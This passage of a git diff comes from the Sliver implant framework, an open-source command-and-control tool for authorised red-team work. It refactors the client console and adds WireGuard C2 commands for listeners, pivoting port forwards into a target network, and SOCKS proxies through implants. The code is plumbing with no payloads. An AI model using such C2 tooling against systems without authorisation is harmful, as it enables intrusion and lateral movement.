completers.NewFlagCompsFor(websitesContentTypeCmd, func(comp *carapace.ActionMap) { + (*comp)["website"] = WebsiteNameCompleter(con) + }) + + return []*cobra.Command{websitesCmd} +} diff --git a/client/command/websites/websites-add-content.go b/client/command/websites/websites-add-content.go index e296545078..a2034e2995 100644 --- a/client/command/websites/websites-add-content.go +++ b/client/command/websites/websites-add-content.go @@ -34,8 +34,8 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" ) -// WebsitesAddContentCmd - Add static content to a website -func WebsitesAddContentCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// WebsitesAddContentCmd - Add static content to a website. +func WebsitesAddContentCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { websiteName, _ := cmd.Flags().GetString("website") if websiteName == "" { con.PrintErrorf("Must specify a website name via --website, see --help\n") @@ -46,11 +46,8 @@ func WebsitesAddContentCmd(cmd *cobra.Command, con *console.SliverConsoleClient, con.PrintErrorf("Must specify a web path via --web-path, see --help\n") return } - contentPath, _ := cmd.Flags().GetString("content") - if contentPath == "" { - con.PrintErrorf("Must specify some --content\n") - return - } + + contentPath := args[0] contentPath, _ = filepath.Abs(contentPath) contentType, _ := cmd.Flags().GetString("content-type") recursive, _ := cmd.Flags().GetBool("recursive") @@ -77,7 +74,7 @@ func WebsitesAddContentCmd(cmd *cobra.Command, con *console.SliverConsoleClient, web, err := con.Rpc.WebsiteAddContent(context.Background(), addWeb) if err != nil { - con.PrintErrorf("%s", err) + con.PrintErrorf("%s", con.UnwrapServerErr(err)) return } PrintWebsite(web, con) diff --git a/client/command/websites/websites-rm-content.go b/client/command/websites/websites-rm-content.go index b0e4f1bce8..2dbdc2b122 100644 --- a/client/command/websites/websites-rm-content.go +++ b/client/command/websites/websites-rm-content.go @@ -28,8 +28,8 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" ) -// WebsitesRmContent - Remove static content from a website -func WebsitesRmContent(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// WebsitesRmContent - Remove static content from a website. +func WebsitesRmContent(cmd *cobra.Command, con *console.SliverClient, args []string) { name, _ := cmd.Flags().GetString("website") webPath, _ := cmd.Flags().GetString("web-path") recursive, _ := cmd.Flags().GetBool("recursive") @@ -47,7 +47,7 @@ func WebsitesRmContent(cmd *cobra.Command, con *console.SliverConsoleClient, arg Name: name, }) if err != nil { - con.PrintErrorf("%s", err) + con.PrintErrorf("%s", con.UnwrapServerErr(err)) return } @@ -66,7 +66,7 @@ func WebsitesRmContent(cmd *cobra.Command, con *console.SliverConsoleClient, arg } web, err := con.Rpc.WebsiteRemoveContent(context.Background(), rmWebContent) if err != nil { - con.PrintErrorf("Failed to remove content %s", err) + con.PrintErrorf("Failed to remove content %s", con.UnwrapServerErr(err)) return } PrintWebsite(web, con) diff --git a/client/command/websites/websites-rm.go b/client/command/websites/websites-rm.go index 8f1a19359b..3f1203452d 100644 --- a/client/command/websites/websites-rm.go +++ b/client/command/websites/websites-rm.go @@ -27,8 +27,8 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" ) -// WebsiteRmCmd - Remove a website and all its static content -func WebsiteRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// WebsiteRmCmd - Remove a website and all its static content. +func WebsiteRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var name string if len(args) > 0 { name = args[0] @@ -38,7 +38,7 @@ func WebsiteRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s Name: name, }) if err != nil { - con.PrintErrorf("Failed to remove website %s", err) + con.PrintErrorf("Failed to remove website %s", con.UnwrapServerErr(err)) return } } diff --git a/client/command/websites/websites-update-content.go b/client/command/websites/websites-update-content.go index d7e21e4788..2e05c2abfe 100644 --- a/client/command/websites/websites-update-content.go +++ b/client/command/websites/websites-update-content.go @@ -27,8 +27,8 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" ) -// WebsitesUpdateContentCmd - Update metadata about static website content -func WebsitesUpdateContentCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// WebsitesUpdateContentCmd - Update metadata about static website content. +func WebsitesUpdateContentCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { websiteName, _ := cmd.Flags().GetString("website") if websiteName == "" { con.PrintErrorf("Must specify a website name via --website, see --help\n") @@ -55,7 +55,7 @@ func WebsitesUpdateContentCmd(cmd *cobra.Command, con *console.SliverConsoleClie web, err := con.Rpc.WebsiteUpdateContent(context.Background(), updateWeb) if err != nil { - con.PrintErrorf("%s", err) + con.PrintErrorf("%s", con.UnwrapServerErr(err)) return } PrintWebsite(web, con) diff --git a/client/command/websites/websites.go b/client/command/websites/websites.go index 2af253a990..34bce11214 100644 --- a/client/command/websites/websites.go +++ b/client/command/websites/websites.go @@ -38,8 +38,8 @@ const ( defaultMimeType = "application/octet-stream" ) -// WebsitesCmd - Manage websites -func WebsitesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// WebsitesCmd - Manage websites. +func WebsitesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { if len(args) > 0 { websiteName := args[0] ListWebsiteContent(websiteName, con) @@ -48,11 +48,11 @@ func WebsitesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st } } -// ListWebsites - Display a list of websites -func ListWebsites(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ListWebsites - Display a list of websites. +func ListWebsites(cmd *cobra.Command, con *console.SliverClient, args []string) { websites, err := con.Rpc.Websites(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("Failed to list websites %s", err) + con.PrintErrorf("Failed to list websites %s", con.UnwrapServerErr(err)) return } if len(websites.Websites) < 1 { @@ -66,13 +66,13 @@ func ListWebsites(cmd *cobra.Command, con *console.SliverConsoleClient, args []s } } -// ListWebsiteContent - List the static contents of a website -func ListWebsiteContent(websiteName string, con *console.SliverConsoleClient) { +// ListWebsiteContent - List the static contents of a website. +func ListWebsiteContent(websiteName string, con *console.SliverClient) { website, err := con.Rpc.Website(context.Background(), &clientpb.Website{ Name: websiteName, }) if err != nil { - con.PrintErrorf("Failed to list website content %s", err) + con.PrintErrorf("Failed to list website content %s", con.UnwrapServerErr(err)) return } if 0 < len(website.Contents) { @@ -83,11 +83,12 @@ func ListWebsiteContent(websiteName string, con *console.SliverConsoleClient) { } // PrintWebsite - Print a website and its contents, paths, etc. -func PrintWebsite(web *clientpb.Website, con *console.SliverConsoleClient) { +func PrintWebsite(web *clientpb.Website, con *console.SliverClient) { con.Println(console.Clearln + console.Info + web.Name) con.Println() tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "Path", "Content-type", @@ -111,13 +112,17 @@ func PrintWebsite(web *clientpb.Website, con *console.SliverConsoleClient) { } // WebsiteNameCompleter completes the names of available websites. -func WebsiteNameCompleter(con *console.SliverConsoleClient) carapace.Action { +func WebsiteNameCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { + if msg, err := con.PreRunComplete(); err != nil { + return msg + } + results := make([]string, 0) websites, err := con.Rpc.Websites(context.Background(), &commonpb.Empty{}) if err != nil { - return carapace.ActionMessage("Failed to list websites %s", err) + return carapace.ActionMessage("Failed to list websites %s", con.UnwrapServerErr(err)) } for _, ws := range websites.Websites { diff --git a/client/command/wireguard/commands.go b/client/command/wireguard/commands.go new file mode 100644 index 0000000000..ab57ae6779 --- /dev/null +++ b/client/command/wireguard/commands.go @@ -0,0 +1,170 @@ +package wireguard + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/generate" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the `wg` command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + wgCmd := &cobra.Command{ + Use: consts.WGStr, + Short: "WireGuard C2 commands (configs, listeners, etc.)", + GroupID: consts.NetworkHelpGroup, + } + + // Configurations + wgConfigCmd := &cobra.Command{ + Use: consts.WgConfigStr, + Short: "Generate a new WireGuard client config", + Long: help.GetHelpFor([]string{consts.WgConfigStr}), + Run: func(cmd *cobra.Command, args []string) { + WGConfigCmd(cmd, con, args) + }, + } + wgCmd.AddCommand(wgConfigCmd) + + flags.Bind("wg-config", true, wgConfigCmd, func(f *pflag.FlagSet) { + f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + flags.Bind("wg-config", false, wgConfigCmd, func(f *pflag.FlagSet) { + f.StringP("save", "s", "", "save configuration to file (.conf)") + }) + completers.NewFlagCompsFor(wgConfigCmd, func(comp *carapace.ActionMap) { + (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save config") + }) + + // Listeners + wgListenCmd := &cobra.Command{ + Use: consts.ListenStr, + Short: "Start a WireGuard listener", + Long: help.GetHelpFor([]string{consts.WGStr}), + Run: func(cmd *cobra.Command, args []string) { + ListenCmd(cmd, con, args) + }, + } + flags.Bind("WireGuard listener", false, wgCmd, func(f *pflag.FlagSet) { + f.StringP("lhost", "L", "", "interface to bind server to") + f.Uint32P("lport", "l", generate.DefaultWGLPort, "udp listen port") + f.Uint32P("nport", "n", generate.DefaultWGNPort, "virtual tun interface listen port") + f.Uint32P("key-port", "x", generate.DefaultWGKeyExPort, "virtual tun interface key exchange port") + f.BoolP("persistent", "p", false, "make persistent across restarts") + }) + wgCmd.AddCommand(wgListenCmd) + + return []*cobra.Command{wgCmd} +} + +// SliverCommands returns all Wireguard commands that can be used on an active target. +func SliverCommands(con *console.SliverClient) []*cobra.Command { + wgPortFwdCmd := &cobra.Command{ + Use: consts.WgPortFwdStr, + Short: "List ports forwarded by the WireGuard tun interface", + Long: help.GetHelpFor([]string{consts.WgPortFwdStr}), + GroupID: consts.NetworkHelpGroup, + Annotations: flags.RestrictTargets( + consts.WireguardCmdsFilter, + consts.SessionCmdsFilter, + ), + Run: func(cmd *cobra.Command, args []string) { + WGPortFwdListCmd(cmd, con, args) + }, + } + flags.Bind("wg portforward", true, wgPortFwdCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + wgPortFwdAddCmd := &cobra.Command{ + Use: consts.AddStr, + Short: "Add a port forward from the WireGuard tun interface to a host on the target network", + Long: help.GetHelpFor([]string{consts.WgPortFwdStr, consts.AddStr}), + Run: func(cmd *cobra.Command, args []string) { + WGPortFwdAddCmd(cmd, con, args) + }, + } + flags.Bind("wg portforward", false, wgPortFwdAddCmd, func(f *pflag.FlagSet) { + f.Int32P("bind", "b", 1080, "port to listen on the WireGuard tun interface") + f.StringP("remote", "r", "", "remote target host:port (e.g., 10.0.0.1:445)") + }) + wgPortFwdCmd.AddCommand(wgPortFwdAddCmd) + + wgPortFwdRmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Remove a port forward from the WireGuard tun interface", + Long: help.GetHelpFor([]string{consts.WgPortFwdStr, consts.RmStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + WGPortFwdRmCmd(cmd, con, args) + }, + } + wgPortFwdCmd.AddCommand(wgPortFwdRmCmd) + + carapace.Gen(wgPortFwdRmCmd).PositionalCompletion(PortfwdIDCompleter(con).Usage("forwarder ID")) + + wgSocksCmd := &cobra.Command{ + Use: consts.WgSocksStr, + Short: "List socks servers listening on the WireGuard tun interface", + Long: help.GetHelpFor([]string{consts.WgSocksStr}), + Run: func(cmd *cobra.Command, args []string) { + WGSocksListCmd(cmd, con, args) + }, + GroupID: consts.NetworkHelpGroup, + Annotations: flags.RestrictTargets(consts.WireguardCmdsFilter), + } + flags.Bind("wg socks", true, wgSocksCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + wgSocksStartCmd := &cobra.Command{ + Use: consts.StartStr, + Short: "Start a socks5 listener on the WireGuard tun interface", + Long: help.GetHelpFor([]string{consts.WgSocksStr, consts.StartStr}), + Run: func(cmd *cobra.Command, args []string) { + WGSocksStartCmd(cmd, con, args) + }, + } + wgSocksCmd.AddCommand(wgSocksStartCmd) + flags.Bind("wg socks", false, wgSocksStartCmd, func(f *pflag.FlagSet) { + f.Int32P("bind", "b", 3090, "port to listen on the WireGuard tun interface") + }) + + wgSocksStopCmd := &cobra.Command{ + Use: consts.StopStr, + Short: "Stop a socks5 listener on the WireGuard tun interface", + Long: help.GetHelpFor([]string{consts.WgSocksStr, consts.StopStr}), + Run: func(cmd *cobra.Command, args []string) { + WGSocksStopCmd(cmd, con, args) + }, + Args: cobra.ExactArgs(1), + } + wgSocksCmd.AddCommand(wgSocksStopCmd) + carapace.Gen(wgSocksStopCmd).PositionalCompletion(SocksIDCompleter(con).Usage("Socks server ID")) + + return []*cobra.Command{wgPortFwdCmd, wgSocksCmd} +} diff --git a/client/command/wireguard/listen.go b/client/command/wireguard/listen.go new file mode 100644 index 0000000000..3475305d58 --- /dev/null +++ b/client/command/wireguard/listen.go @@ -0,0 +1,49 @@ +package wireguard + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "context" + + "github.com/spf13/cobra" + + "github.com/bishopfox/sliver/client/console" + "github.com/bishopfox/sliver/protobuf/clientpb" +) + +// ListenCmd - Start a WireGuard listener. +func ListenCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { + lport, _ := cmd.Flags().GetUint32("lport") + nport, _ := cmd.Flags().GetUint32("nport") + keyExchangePort, _ := cmd.Flags().GetUint32("key-port") + persistent, _ := cmd.Flags().GetBool("persistent") + + con.PrintInfof("Starting Wireguard listener ...\n") + wg, err := con.Rpc.StartWGListener(context.Background(), &clientpb.WGListenerReq{ + Port: lport, + NPort: nport, + KeyPort: keyExchangePort, + Persistent: persistent, + }) + if err != nil { + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) + } else { + con.PrintInfof("Successfully started job #%d\n", wg.JobID) + } +} diff --git a/client/command/wireguard/wg-config.go b/client/command/wireguard/wg-config.go index 1568b51f04..8957f2c862 100644 --- a/client/command/wireguard/wg-config.go +++ b/client/command/wireguard/wg-config.go @@ -52,11 +52,11 @@ type wgQuickConfig struct { AllowedSubnet string } -// WGConfigCmd - Generate a WireGuard client configuration -func WGConfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// WGConfigCmd - Generate a WireGuard client configuration. +func WGConfigCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { wgConfig, err := con.Rpc.GenerateWGClientConfig(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("Error: %s\n", err) + con.PrintErrorf("Error: %s\n", con.UnwrapServerErr(err)) return } clientPrivKeyBytes, err := hex.DecodeString(wgConfig.ClientPrivateKey) diff --git a/client/command/wireguard/wg-portfwd-add.go b/client/command/wireguard/wg-portfwd-add.go index c6817e38de..6cd347d74d 100644 --- a/client/command/wireguard/wg-portfwd-add.go +++ b/client/command/wireguard/wg-portfwd-add.go @@ -28,8 +28,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// WGPortFwdAddCmd - Add a new WireGuard port forward -func WGPortFwdAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// WGPortFwdAddCmd - Add a new WireGuard port forward. +func WGPortFwdAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -57,7 +57,7 @@ func WGPortFwdAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("Error: %v", err) + con.PrintErrorf("Error: %v", con.UnwrapServerErr(err)) return } diff --git a/client/command/wireguard/wg-portfwd-rm.go b/client/command/wireguard/wg-portfwd-rm.go index b732719fdf..edf80c7ff5 100644 --- a/client/command/wireguard/wg-portfwd-rm.go +++ b/client/command/wireguard/wg-portfwd-rm.go @@ -30,8 +30,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// WGPortFwdRmCmd - Remove a WireGuard port forward -func WGPortFwdRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// WGPortFwdRmCmd - Remove a WireGuard port forward. +func WGPortFwdRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -52,7 +52,7 @@ func WGPortFwdRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [ Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("Error: %v", err) + con.PrintErrorf("Error: %v", con.UnwrapServerErr(err)) return } @@ -66,16 +66,20 @@ func WGPortFwdRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [ } } -// PortfwdIDCompleter completes IDs of WireGuard remote portforwarders -func PortfwdIDCompleter(con *console.SliverConsoleClient) carapace.Action { +// PortfwdIDCompleter completes IDs of WireGuard remote portforwarders. +func PortfwdIDCompleter(con *console.SliverClient) carapace.Action { callback := func(_ carapace.Context) carapace.Action { + if msg, err := con.PreRunComplete(); err != nil { + return msg + } + results := make([]string, 0) fwdList, err := con.Rpc.WGListForwarders(context.Background(), &sliverpb.WGTCPForwardersReq{ Request: con.ActiveTarget.Request(con.App.ActiveMenu().Root()), }) if err != nil { - return carapace.ActionMessage("failed to get Wireguard port forwarders: %s", err.Error()) + return carapace.ActionMessage("failed to get Wireguard port forwarders: %s", con.UnwrapServerErr(err)) } for _, fwd := range fwdList.Forwarders { diff --git a/client/command/wireguard/wg-portfwd.go b/client/command/wireguard/wg-portfwd.go index e7eabd8db4..d9730bbb08 100644 --- a/client/command/wireguard/wg-portfwd.go +++ b/client/command/wireguard/wg-portfwd.go @@ -29,8 +29,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// WGPortFwdListCmd - List WireGuard port forwards -func WGPortFwdListCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// WGPortFwdListCmd - List WireGuard port forwards. +func WGPortFwdListCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -44,7 +44,7 @@ func WGPortFwdListCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("Error: %v", err) + con.PrintErrorf("Error: %v", con.UnwrapServerErr(err)) return } if fwdList.Response != nil && fwdList.Response.Err != "" { @@ -58,6 +58,7 @@ func WGPortFwdListCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args } else { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "ID", "Name", diff --git a/client/command/wireguard/wg-socks-start.go b/client/command/wireguard/wg-socks-start.go index a9062faff2..7d60e6ff62 100644 --- a/client/command/wireguard/wg-socks-start.go +++ b/client/command/wireguard/wg-socks-start.go @@ -27,8 +27,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// WGSocksStartCmd - Start a WireGuard reverse SOCKS proxy -func WGSocksStartCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// WGSocksStartCmd - Start a WireGuard reverse SOCKS proxy. +func WGSocksStartCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -45,7 +45,7 @@ func WGSocksStartCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("Error: %v", err) + con.PrintErrorf("Error: %v", con.UnwrapServerErr(err)) return } diff --git a/client/command/wireguard/wg-socks-stop.go b/client/command/wireguard/wg-socks-stop.go index ef9da5a69d..7436b172b2 100644 --- a/client/command/wireguard/wg-socks-stop.go +++ b/client/command/wireguard/wg-socks-stop.go @@ -28,8 +28,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// WGSocksStopCmd - Stop a WireGuard SOCKS proxy -func WGSocksStopCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// WGSocksStopCmd - Stop a WireGuard SOCKS proxy. +func WGSocksStopCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSession() if session == nil { return @@ -50,7 +50,7 @@ func WGSocksStopCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [ Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("Error: %v", err) + con.PrintErrorf("Error: %v", con.UnwrapServerErr(err)) return } diff --git a/client/command/wireguard/wg-socks.go b/client/command/wireguard/wg-socks.go index 1bc1b13385..3b90541e6a 100644 --- a/client/command/wireguard/wg-socks.go +++ b/client/command/wireguard/wg-socks.go @@ -31,8 +31,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// WGSocksListCmd - List WireGuard SOCKS proxies -func WGSocksListCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// WGSocksListCmd - List WireGuard SOCKS proxies. +func WGSocksListCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -46,7 +46,7 @@ func WGSocksListCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [ Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("Error: %v", err) + con.PrintErrorf("Error: %v", con.UnwrapServerErr(err)) return } if socksList.Response != nil && socksList.Response.Err != "" { @@ -58,6 +58,7 @@ func WGSocksListCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [ if 0 < len(socksList.Servers) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "ID", "Local Address", @@ -74,15 +75,19 @@ func WGSocksListCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [ } // SocksIDCompleter IDs of WireGuard socks servers. -func SocksIDCompleter(con *console.SliverConsoleClient) carapace.Action { +func SocksIDCompleter(con *console.SliverClient) carapace.Action { callback := func(_ carapace.Context) carapace.Action { + if msg, err := con.PreRunComplete(); err != nil { + return msg + } + results := make([]string, 0) socksList, err := con.Rpc.WGListSocksServers(context.Background(), &sliverpb.WGSocksServersReq{ Request: con.ActiveTarget.Request(con.App.ActiveMenu().Root()), }) if err != nil { - return carapace.ActionMessage("failed to get Wireguard Socks servers: %s", err.Error()) + return carapace.ActionMessage("failed to get Wireguard Socks servers: %s", con.UnwrapServerErr(err)) } for _, serv := range socksList.Servers { diff --git a/client/console/command.go b/client/console/command.go new file mode 100644 index 0000000000..037445084a --- /dev/null +++ b/client/console/command.go @@ -0,0 +1,163 @@ +package console + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "strings" + + "github.com/spf13/cobra" + + "github.com/reeflective/console" + + consts "github.com/bishopfox/sliver/client/constants" +) + +// FilterCommands - The active target may have various transport stacks, +// run on different hosts and operating systems, have networking tools, etc. +// +// Given a tree of commands which may or may not all act on a given target, +// the implant adds a series of annotations and hide directives to those which +// should not be available in the current state of things. +func (s *ActiveTarget) FilterCommands(rootCmd *cobra.Command) { + targetFilters := s.Filters() + + for _, cmd := range rootCmd.Commands() { + // Don't override commands if they are already hidden + if cmd.Hidden { + continue + } + + if isFiltered(cmd, targetFilters) { + cmd.Hidden = true + } + } +} + +// FilterCommands shows/hides commands if the active target does support them (or not). +// Ex; to hide Windows commands on Linux implants, Wireguard tools on HTTP C2, etc. +// Both the cmd *cobra.Command passed and the filters can be nil, in which case the +// filters are recomputed by the console application for the current context. +func (con *SliverClient) FilterCommands(cmd *cobra.Command, filters ...string) { + con.App.ShowCommands() + + if con.isCLI { + filters = append(filters, consts.ConsoleCmdsFilter) + } + + sess, beac := con.ActiveTarget.Get() + if sess != nil || beac != nil { + filters = append(filters, con.ActiveTarget.Filters()...) + } + + con.App.HideCommands(filters...) + + if cmd != nil { + for _, cmd := range cmd.Commands() { + if cmd.Hidden { + continue + } + + if isFiltered(cmd, filters) { + cmd.Hidden = true + } + } + } +} + +// AddPreRuns should be considered part of the temporary API. +// It is used by the Sliver client to run hooks before running its own pre-connect +// handlers, and this function is thus used to register server-only pre-run routines. +func (con *SliverClient) AddPreRuns(hooks ...func(_ *cobra.Command, _ []string) error) { + con.preRunners = append(con.preRunners, hooks...) +} + +// runPreConnectHooks is also a function which might be temporary, and currently used +// to run "server-side provided" command pre-runners (for assets setup, jobs, etc) +func (con *SliverClient) runPreConnectHooks(cmd *cobra.Command, args []string) error { + for _, hook := range con.preRunners { + if hook == nil { + continue + } + + if err := hook(cmd, args); err != nil { + return err + } + } + + return nil +} + +func isFiltered(cmd *cobra.Command, targetFilters []string) bool { + if cmd.Annotations == nil { + return false + } + + // Get the filters on the command + filterStr := cmd.Annotations[console.CommandFilterKey] + filters := strings.Split(filterStr, ",") + + for _, cmdFilter := range filters { + for _, filter := range targetFilters { + if cmdFilter != "" && cmdFilter == filter { + return true + } + } + } + + return false +} + +// isOffline is unfortunately required for now. +// Some commands don't need access to the server, and therefore should +// be runnable even if no remote teamserver configs are available. +// +// An alternative would be to add some annotations to the commands +// just like we use annotations for implant command filtering, but +// I didn't want to impose such a practice without being sure of +// where it ultimately leads. Plus, there are not that many commands +// that need such a check, so I prefered to just hardcode them in +// the offlineCommands list below. +// +// This function only returns true when the exact command matches. +func (con *SliverClient) isOffline(cmd *cobra.Command) bool { + for _, cmdLine := range offlineCommands { + ts, _, err := cmd.Root().Find(cmdLine) + if err != nil || ts == nil { + continue + } + + if ts == cmd { + return true + } + } + + return false +} + +var offlineCommands = [][]string{ + // Teamclient/teamserver management + {"teamserver", "client", "import"}, // sliver-server + {"teamclient", "import"}, // sliver-client + + // Sliver-specific + {"help"}, + {consts.UpdateStr}, + {consts.LicensesStr}, + {consts.SettingsStr}, +} diff --git a/client/console/console.go b/client/console/console.go index 02f4923f31..dae16090e1 100644 --- a/client/console/console.go +++ b/client/console/console.go @@ -19,34 +19,31 @@ package console */ import ( - "bufio" "context" + "errors" "fmt" "io" "log" - insecureRand "math/rand" "os" "path/filepath" "strconv" - "strings" "sync" "time" - "github.com/gofrs/uuid" - "github.com/reeflective/console" - "github.com/reeflective/readline" "github.com/spf13/cobra" "golang.org/x/exp/slog" - "google.golang.org/protobuf/proto" + "google.golang.org/grpc" + "google.golang.org/grpc/status" + + "github.com/reeflective/console" + "github.com/reeflective/readline" + "github.com/reeflective/team/client" "github.com/bishopfox/sliver/client/assets" consts "github.com/bishopfox/sliver/client/constants" - "github.com/bishopfox/sliver/client/core" - "github.com/bishopfox/sliver/client/prelude" - "github.com/bishopfox/sliver/client/spin" + "github.com/bishopfox/sliver/client/transport" "github.com/bishopfox/sliver/client/version" "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/rpcpb" ) @@ -55,7 +52,7 @@ const ( ) const ( - // ANSI Colors + // ANSI Colors. Normal = "\033[0m" Black = "\033[30m" Red = "\033[31m" @@ -71,62 +68,135 @@ const ( DownN = "\033[%dB" Underline = "\033[4m" - // Info - Display colorful information + // Info - Display colorful information. Info = Bold + Cyan + "[*] " + Normal - // Warn - Warn a user + // Warn - Warn a user. Warn = Bold + Red + "[!] " + Normal - // Debug - Display debug information + // Debug - Display debug information. Debug = Bold + Purple + "[-] " + Normal - // Woot - Display success + // Woot - Display success. Woot = Bold + Green + "[$] " + Normal - // Success - Diplay success + // Success - Diplay success. Success = Bold + Green + "[+] " + Normal ) -// Observer - A function to call when the sessions changes +// Observer - A function to call when the sessions changes. type ( Observer func(*clientpb.Session, *clientpb.Beacon) BeaconTaskCallback func(*clientpb.BeaconTask) ) -type SliverConsoleClient struct { - App *console.Console - Rpc rpcpb.SliverRPCClient - ActiveTarget *ActiveTarget - EventListeners *sync.Map +// SliverClient is a general-purpose, interface-agnostic client. +// +// It allows to use the Sliver toolset with an arbitrary number of remote/local +// Sliver servers, either through its API (RPC client), CLI (the command tree), +// or through an arbitrary mix of those. +// +// The Sliver client will by default be used with remote, mutual TLS authenticated +// connections to Sliver teamservers, which configurations are found in the teamclient +// directory. +// However, the teamclient API/CLI offers ways to manage and use those 